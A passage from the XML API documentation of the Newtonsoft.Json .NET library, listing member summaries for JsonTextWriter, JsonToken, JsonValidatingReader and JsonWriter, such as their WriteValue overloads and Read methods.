name=\"T:Newtonsoft.Json.JsonTextWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.ArrayPool\">\n            <summary>\n            Gets or sets the writer's character array pool.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\">\n            <summary>\n            Gets or sets how many <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/>s to write for each level in the hierarchy when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteChar\">\n            <summary>\n            Gets or sets which character to use to quote attribute values.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\">\n            <summary>\n            Gets or sets which character to use for indenting when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteName\">\n            <summary>\n            Gets or sets a value indicating whether object names will be surrounded with quotes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.#ctor(System.IO.TextWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/> class using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.TextWriter\"/> and also flushes the underlying <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextWriter\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text. \n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonToken\">\n            <summary>\n            Specifies the type of JSON token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.None\">\n            <summary>\n            This is returned by the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> if a read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartObject\">\n            <summary>\n            An object start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartArray\">\n            <summary>\n            An array start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartConstructor\">\n            <summary>\n            A constructor start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.PropertyName\">\n            <summary>\n            An object property name.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Raw\">\n            <summary>\n            Raw JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Integer\">\n            <summary>\n            An integer.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Float\">\n            <summary>\n            A float.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.String\">\n            <summary>\n            A string.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Boolean\">\n            <summary>\n            A boolean.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Null\">\n            <summary>\n            A null token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Undefined\">\n            <summary>\n            An undefined token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndObject\">\n            <summary>\n            An object end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndArray\">\n            <summary>\n            An array end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndConstructor\">\n            <summary>\n            A constructor end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Date\">\n            <summary>\n            A Date.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Bytes\">\n            <summary>\n            Byte data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonValidatingReader\">\n            <summary>\n            <para>\n            Represents a reader that provides <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> validation.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonValidatingReader.ValidationEventHandler\">\n            <summary>\n            Sets an event handler for receiving schema validation errors.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.#ctor(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/> class that\n            validates the content returned from the given <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from while validating.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Schema\">\n            <summary>\n            Gets or sets the schema.\n            </summary>\n            <value>The schema.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Reader\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> used to construct this <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/>.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> specified in the constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\">\n            <summary>\n            Gets or sets a value indicating whether the destination should be closed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the destination when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\">\n            <summary>\n            Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to auto-complete the JSON when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Top\">\n            <summary>\n            Gets the top.\n            </summary>\n            <value>The top.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.WriteState\">\n            <summary>\n            Gets the state of the writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Path\">\n            <summary>\n            Gets the path of the writer. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Formatting\">\n            <summary>\n            Gets or sets a value indicating how JSON text output should be formatted.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Culture\">\n            <summary>\n            Gets or sets the culture used when writing JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObject\">\n            <summary>\n            Writes the end of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArray\">\n            <summary>\n            Writes the end of an array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructor\">\n            <summary>\n            Writes the end constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd\">\n            <summary>\n            Writes the end of the current JSON object or array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token and its children.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader,System.Boolean)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        